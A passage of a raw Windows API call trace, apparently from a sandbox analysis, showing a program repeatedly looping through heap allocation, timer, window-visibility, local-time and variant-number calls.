0x115fa66 [0190.361] CoFreeUnusedLibraries () [0190.361] DllCanUnloadNow () returned 0x1 [0190.361] GetTickCount () returned 0x115fa66 [0190.361] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.361] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.361] GetTickCount () returned 0x115fa66 [0190.361] IsWindowVisible (hWnd=0x30268) returned 0 [0190.361] IsWindowVisible (hWnd=0x40298) returned 0 [0190.361] IsWindowVisible (hWnd=0x60106) returned 0 [0190.361] Sleep (dwMilliseconds=0x0) [0190.367] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x3db)) [0190.368] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.368] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.368] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.368] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.368] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.368] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.368] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.368] GetTickCount () returned 0x115fa66 [0190.368] GetTickCount () returned 0x115fa66 [0190.368] CoFreeUnusedLibraries () [0190.368] DllCanUnloadNow () returned 0x1 [0190.368] GetTickCount () returned 0x115fa66 [0190.368] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.368] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.369] GetTickCount () returned 0x115fa66 [0190.369] IsWindowVisible (hWnd=0x30268) returned 0 [0190.369] IsWindowVisible (hWnd=0x40298) returned 0 [0190.369] IsWindowVisible (hWnd=0x60106) returned 0 [0190.369] Sleep (dwMilliseconds=0x0) [0190.369] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x3db)) [0190.369] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.369] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.369] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.369] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.369] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.369] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.369] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.369] GetTickCount () returned 0x115fa66 [0190.369] GetTickCount () returned 0x115fa66 [0190.370] CoFreeUnusedLibraries () [0190.370] DllCanUnloadNow () returned 0x1 [0190.370] GetTickCount () returned 0x115fa66 [0190.370] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.370] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.370] GetTickCount () returned 0x115fa66 [0190.370] IsWindowVisible (hWnd=0x30268) returned 0 [0190.370] IsWindowVisible (hWnd=0x40298) returned 0 [0190.370] IsWindowVisible (hWnd=0x60106) returned 0 [0190.370] Sleep (dwMilliseconds=0x0) [0190.370] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x3db)) [0190.370] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.370] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.370] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.370] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.371] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.371] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.371] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.371] GetTickCount () returned 0x115fa66 [0190.371] GetTickCount () returned 0x115fa66 [0190.371] CoFreeUnusedLibraries () [0190.371] DllCanUnloadNow () returned 0x1 [0190.371] GetTickCount () returned 0x115fa66 [0190.371] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.371] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.371] GetTickCount () returned 0x115fa66 [0190.371] IsWindowVisible (hWnd=0x30268) returned 0 [0190.371] IsWindowVisible (hWnd=0x40298) returned 0 [0190.371] IsWindowVisible (hWnd=0x60106) returned 0 [0190.371] Sleep (dwMilliseconds=0x0) [0190.371] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x3db)) [0190.372] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.372] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.372] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.372] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.372] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.372] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.372] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.372] GetTickCount () returned 0x115fa66 [0190.372] GetTickCount () returned 0x115fa66 [0190.372] CoFreeUnusedLibraries () [0190.372] DllCanUnloadNow () returned 0x1 [0190.372] GetTickCount () returned 0x115fa66 [0190.372] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.373] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.373] GetTickCount () returned 0x115fa66 [0190.373] IsWindowVisible (hWnd=0x30268) returned 0 [0190.373] IsWindowVisible (hWnd=0x40298) returned 0 [0190.373] IsWindowVisible (hWnd=0x60106) returned 0 [0190.373] Sleep (dwMilliseconds=0x0) [0190.373] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x3db)) [0190.373] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.373] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.373] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.373] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.374] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.374] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.374] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.374] GetTickCount () returned 0x115fa66 [0190.374] GetTickCount () returned 0x115fa66 [0190.374] CoFreeUnusedLibraries () [0190.374] DllCanUnloadNow () returned 0x1 [0190.374] GetTickCount () returned 0x115fa66 [0190.374] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.374] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.374] GetTickCount () returned 0x115fa66 [0190.374] IsWindowVisible (hWnd=0x30268) returned 0 [0190.374] IsWindowVisible (hWnd=0x40298) returned 0 [0190.374] IsWindowVisible (hWnd=0x60106) returned 0 [0190.375] Sleep (dwMilliseconds=0x0) [0190.375] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x3db)) [0190.375] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.375] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.375] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.375] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.375] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.375] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.375] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.375] GetTickCount () returned 0x115fa66 [0190.375] GetTickCount () returned 0x115fa66 [0190.375] CoFreeUnusedLibraries () [0190.375] DllCanUnloadNow () returned 0x1 [0190.375] GetTickCount () returned 0x115fa76 [0190.375] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.375] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.375] GetTickCount () returned 0x115fa76 [0190.376] IsWindowVisible (hWnd=0x30268) returned 0 [0190.376] IsWindowVisible (hWnd=0x40298) returned 0 [0190.376] IsWindowVisible (hWnd=0x60106) returned 0 [0190.376] Sleep (dwMilliseconds=0x0) [0190.376] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x2)) [0190.376] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.376] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.376] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.376] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.376] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.376] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.376] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.376] GetTickCount () returned 0x115fa76 [0190.376] GetTickCount () returned 0x115fa76 [0190.377] CoFreeUnusedLibraries () [0190.377] DllCanUnloadNow () returned 0x1 [0190.377] GetTickCount () returned 0x115fa76 [0190.377] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.377] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.377] GetTickCount () returned 0x115fa76 [0190.377] IsWindowVisible (hWnd=0x30268) returned 0 [0190.377] IsWindowVisible (hWnd=0x40298) returned 0 [0190.377] IsWindowVisible (hWnd=0x60106) returned 0 [0190.377] Sleep (dwMilliseconds=0x0) [0190.377] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x2)) [0190.377] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.377] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.377] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.377] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.378] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.378] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.378] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.378] GetTickCount () returned 0x115fa76 [0190.378] GetTickCount () returned 0x115fa76 [0190.378] CoFreeUnusedLibraries () [0190.378] DllCanUnloadNow () returned 0x1 [0190.378] GetTickCount () returned 0x115fa76 [0190.378] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.378] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.378] GetTickCount () returned 0x115fa76 [0190.378] IsWindowVisible (hWnd=0x30268) returned 0 [0190.378] IsWindowVisible (hWnd=0x40298) returned 0 [0190.378] IsWindowVisible (hWnd=0x60106) returned 0 [0190.378] Sleep (dwMilliseconds=0x0) [0190.378] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x2)) [0190.379] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.379] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.379] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.379] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.379] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.379] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.379] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.379] GetTickCount () returned 0x115fa76 [0190.379] GetTickCount () returned 0x115fa76 [0190.379] CoFreeUnusedLibraries () [0190.379] DllCanUnloadNow () returned 0x1 [0190.379] GetTickCount () returned 0x115fa76 [0190.379] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.379] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.379] GetTickCount () returned 0x115fa76 [0190.380] IsWindowVisible (hWnd=0x30268) returned 0 [0190.380] IsWindowVisible (hWnd=0x40298) returned 0 [0190.380] IsWindowVisible (hWnd=0x60106) returned 0 [0190.380] Sleep (dwMilliseconds=0x0) [0190.380] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x2)) [0190.380] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.380] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.380] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.380] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.380] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.380] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.380] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.380] GetTickCount () returned 0x115fa76 [0190.380] GetTickCount () returned 0x115fa76 [0190.381] CoFreeUnusedLibraries () [0190.381] DllCanUnloadNow () returned 0x1 [0190.381] GetTickCount () returned 0x115fa76 [0190.381] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.381] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.381] GetTickCount () returned 0x115fa76 [0190.381] IsWindowVisible (hWnd=0x30268) returned 0 [0190.381] IsWindowVisible (hWnd=0x40298) returned 0 [0190.381] IsWindowVisible (hWnd=0x60106) returned 0 [0190.381] Sleep (dwMilliseconds=0x0) [0190.381] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x2)) [0190.381] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.381] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.381] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.381] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.382] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.382] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.382] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.382] GetTickCount () returned 0x115fa76 [0190.382] GetTickCount () returned 0x115fa76 [0190.382] CoFreeUnusedLibraries () [0190.382] DllCanUnloadNow () returned 0x1 [0190.382] GetTickCount () returned 0x115fa76 [0190.382] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.382] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.382] GetTickCount () returned 0x115fa76 [0190.382] IsWindowVisible (hWnd=0x30268) returned 0 [0190.382] IsWindowVisible (hWnd=0x40298) returned 0 [0190.382] IsWindowVisible (hWnd=0x60106) returned 0 [0190.382] Sleep (dwMilliseconds=0x0) [0190.383] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x2)) [0190.383] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.383] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.383] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.383] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.383] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.383] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.383] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.383] GetTickCount () returned 0x115fa76 [0190.383] GetTickCount () returned 0x115fa76 [0190.383] CoFreeUnusedLibraries () [0190.383] DllCanUnloadNow () returned 0x1 [0190.383] GetTickCount () returned 0x115fa76 [0190.383] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.383] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.383] GetTickCount () returned 0x115fa76 [0190.384] IsWindowVisible (hWnd=0x30268) returned 0 [0190.384] IsWindowVisible (hWnd=0x40298) returned 0 [0190.384] IsWindowVisible (hWnd=0x60106) returned 0 [0190.384] Sleep (dwMilliseconds=0x0) [0190.384] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x2)) [0190.384] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.384] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.384] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.384] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.385] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.385] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.385] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.385] GetTickCount () returned 0x115fa76 [0190.385] GetTickCount () returned 0x115fa76 [0190.385] CoFreeUnusedLibraries () [0190.385] DllCanUnloadNow () returned 0x1 [0190.385] GetTickCount () returned 0x115fa76 [0190.385] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.385] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.385] GetTickCount () returned 0x115fa76 [0190.385] IsWindowVisible (hWnd=0x30268) returned 0 [0190.386] IsWindowVisible (hWnd=0x40298) returned 0 [0190.386] IsWindowVisible (hWnd=0x60106) returned 0 [0190.386] Sleep (dwMilliseconds=0x0) [0190.393] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x12)) [0190.393] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.393] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.393] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.394] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.394] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.394] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.394] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.394] GetTickCount () returned 0x115fa85 [0190.395] GetTickCount () returned 0x115fa85 [0190.395] CoFreeUnusedLibraries () [0190.395] DllCanUnloadNow () returned 0x1 [0190.395] GetTickCount () returned 0x115fa85 [0190.395] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, 